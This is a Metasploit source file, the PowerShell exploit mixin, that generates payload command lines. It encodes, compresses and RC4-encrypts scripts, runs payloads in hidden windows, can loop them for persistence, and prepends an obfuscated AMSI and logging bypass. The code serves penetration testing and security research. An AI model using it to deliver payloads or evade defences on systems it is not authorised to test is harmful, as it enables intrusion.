Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/msf/core/exploit/powershell.rb
Views: 11784
# -*- coding: binary -*-1require 'rex/powershell'23module Msf4module Exploit::Powershell5def initialize(info = {})6super7register_advanced_options(8[9OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),10OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),11OptEnum.new('Powershell::prepend_protections_bypass', [true, 'Prepend AMSI/SBL bypass', 'auto', %w[ auto true false ]]),12OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),13OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),14OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', true]),15OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),16OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]),17OptBool.new('Powershell::exec_rc4', [true, 'Encrypt PSH with RC4', false]),18OptBool.new('Powershell::remove_comspec', [true, 'Produce script calling powershell directly', false]),19OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]),20OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),21OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),22OptBool.new('Powershell::wrap_double_quotes', [true, 'Wraps the -Command argument in single quotes', true]),23OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]),24OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]])25]26)27end2829#30# Return a script from path or string31#32def read_script(script_path)33Rex::Powershell::Script.new(script_path)34end3536#37# Return an array of substitutions for use in make_subs38#39def process_subs(subs)40return [] if subs.nil? || subs.empty?41new_subs = []42subs.split(';').each do |set|43new_subs << set.split(',', 2)44end4546new_subs47end4849#50# Insert substitutions into the powershell script51# If script is a path to a file then read the file52# otherwise treat it as the contents of a file53#54def make_subs(script, subs)55subs.each do |set|56script.gsub!(set[0], set[1])57end5859script60end6162#63# Return an encoded powershell script64# Will invoke PSH modifiers as enabled65#66# @param script_in [String] Script contents67#68# @return [String] Encoded script69def encode_script(script_in, eof = nil)70opts = {}71datastore.keys.select { |k| k =~ /^Powershell::(strip|sub)/i }.each do |k|72next unless datastore[k]7374mod_method = k.split('::').last.intern75opts[mod_method.to_sym] = true76end7778Rex::Powershell::Command.encode_script(script_in, eof, opts)79end8081#82# Return an decoded powershell script83#84# @param script_in [String] Encoded contents85#86# @return [String] Decoded script87def decode_script(script_in)88return script_in unless89script_in.to_s.match(%r{[A-Za-z0-9+/]+={0,3}})[0] == script_in.to_s &&90(script_in.to_s.length % 4).zero?9192Rex::Powershell::Command.decode_script(script_in)93end9495#96# Return a gzip compressed powershell script97# Will invoke PSH modifiers as enabled98#99# @param script_in [String] Script contents100# @param eof [String] Marker to indicate the end of file appended to script101#102# @return [String] Compressed script with decompression stub103def compress_script(script_in, eof = nil)104opts = {}105datastore.keys.select { |k| k =~ /^Powershell::(strip|sub)/i }.each do |k|106next unless datastore[k]107108mod_method = k.split('::').last.intern109opts[mod_method.to_sym] = true110end111112Rex::Powershell::Command.compress_script(script_in, eof, opts)113end114115#116# Return a decompressed powershell script117#118# @param script_in [String] Compressed contents with decompression stub119#120# @return [String] Decompressed script121def decompress_script(script_in)122return script_in unless script_in.match?(/FromBase64String/)123124Rex::Powershell::Command.decompress_script(script_in)125end126127#128# Generate a powershell command line, options are passed on to129# generate_psh_args130#131# @param opts [Hash] The options to generate the command line132# @option opts [String] :path Path to the powershell binary133# @option opts [Boolean] :no_full_stop Whether powershell binary134# should include .exe135#136# @return [String] Powershell command line with arguments137def generate_psh_command_line(opts)138Rex::Powershell::Command.generate_psh_command_line(opts)139end140141#142# Generate arguments for the powershell command143# The format will be have no space at the start and have a space144# afterwards e.g. "-Arg1 x -Arg -Arg x "145#146# @param opts [Hash] The options to generate the command line147# @option opts [Boolean] :shorten Whether to shorten the powershell148# arguments (v2.0 or greater)149# @option opts [String] :encodedcommand Powershell script as an150# encoded command (-EncodedCommand)151# @option opts [String] :executionpolicy The execution policy152# (-ExecutionPolicy)153# @option opts [String] :inputformat The input format (-InputFormat)154# @option opts [String] :file The path to a powershell file (-File)155# @option opts [Boolean] :noexit Whether to exit powershell after156# execution (-NoExit)157# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)158# @option opts [Boolean] :noninteractive Whether to load a non159# interactive powershell (-NonInteractive)160# @option opts [Boolean] :mta Whether to run as Multi-Threaded161# Apartment (-Mta)162# @option opts [String] :outputformat The output format163# (-OutputFormat)164# @option opts [Boolean] :sta Whether to run as Single-Threaded165# Apartment (-Sta)166# @option opts [Boolean] :noprofile Whether to use the current users167# powershell profile (-NoProfile)168# @option opts [String] :windowstyle The window style to use169# (-WindowStyle)170#171# @return [String] Powershell command arguments172def generate_psh_args(opts)173return '' unless opts174175unless opts.key? :shorten176opts[:shorten] = (datastore['Powershell::method'] != 'old')177end178179Rex::Powershell::Command.generate_psh_args(opts)180end181182#183# Wraps the powershell code to launch a hidden window and184# detect the execution environment and spawn the appropriate185# powershell executable for the payload architecture.186#187# @param ps_code [String] Powershell code188# @param payload_arch [String] The payload architecture 'x86'/'x86_64'189# @param encoded [Boolean] Indicates whether ps_code is encoded or not190# @return [String] Wrapped powershell code191def run_hidden_psh(ps_code, payload_arch, encoded)192arg_opts = {193noprofile: true,194windowstyle: 'hidden'195}196197# Old technique fails if powershell exits..198arg_opts[:noexit] = (datastore['Powershell::method'] == 'old')199arg_opts[:shorten] = (datastore['Powershell::method'] != 'old')200201Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts)202end203204#205# Creates a powershell command line string which will execute the206# payload in a hidden window in the appropriate execution environment207# for the payload architecture. Opts are passed through to208# run_hidden_psh, generate_psh_command_line and generate_psh_args209#210# @param pay [String] The payload shellcode211# @param payload_arch [String] The payload architecture 'x86'/'x86_64'212# @param opts [Hash] The options to generate the command213# @option opts [Boolean] :persist Loop the payload to cause214# re-execution if the shellcode finishes215# @option opts [Integer] :prepend_sleep Sleep for the specified time216# before executing the payload217# @option opts [Boolean] :exec_rc4 Encrypt payload with RC4218# @option opts [String] :method The powershell injection technique to219# use: 'net'/'reflection'/'old'220# @option opts [Boolean] :encode_inner_payload Encodes the powershell221# script within the hidden/architecture detection wrapper222# @option opts [Boolean] :encode_final_payload Encodes the final223# powershell script224# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%225# environment variable at the start of the command line226# @option opts [Boolean] :wrap_double_quotes Wraps the -Command227# argument in double quotes unless :encode_final_payload228#229# @return [String] Powershell command line with payload230def cmd_psh_payload(pay, payload_arch, opts = {})231%i[persist prepend_sleep exec_in_place exec_rc4 encode_final_payload encode_inner_payload232remove_comspec noninteractive wrap_double_quotes no_equals method prepend_protections_bypass].map do |opt|233opts[opt] = datastore["Powershell::#{opt}"] if opts[opt].nil?234end235236prepend_protections_bypass = opts.delete(:prepend_protections_bypass)237if %w[ auto true ].include?(prepend_protections_bypass)238opts[:prepend] = bypass_powershell_protections239end240241unless opts.key? :shorten242opts[:shorten] = (datastore['Powershell::method'] != 'old')243end244245template_path = Rex::Powershell::Templates::TEMPLATE_DIR246begin247command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts)248rescue Rex::Powershell::Exceptions::PowershellCommandLengthError => e249raise unless prepend_protections_bypass == 'auto'250251# if prepend protections bypass is automatic, try it first but if the size is too large, turn it off and try again252opts.delete(:prepend)253command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts)254end255256vprint_status("Powershell command length: #{command.length}")257258command259end260261#262# Return all bypasses checking if PowerShell version > 3263#264# @return [String] PowerShell code to disable PowerShell Built-In Protections265def bypass_powershell_protections266# generate the protections bypass in three short steps267# step 1: shuffle the instructions by rendering the GraphML268script = Rex::Payloads::Shuffle.from_graphml_file(269File.join(Msf::Config.install_root, 'data', 'evasion', 'windows', 'bypass_powershell_protections.erb.graphml'),270)271# step 2: obfuscate sketchy string literals by rendering the ERB template272script = ::ERB.new(script).result(binding)273# step 3: obfuscate variable names and remove whitespace274script = Rex::Powershell::Script.new(script)275script.sub_vars if datastore['Powershell::sub_vars']276Rex::Powershell::PshMethods.uglify_ps(script.to_s)277end278279#280# Useful method cache281#282module PshMethods283include Rex::Powershell::PshMethods284end285end286end287288289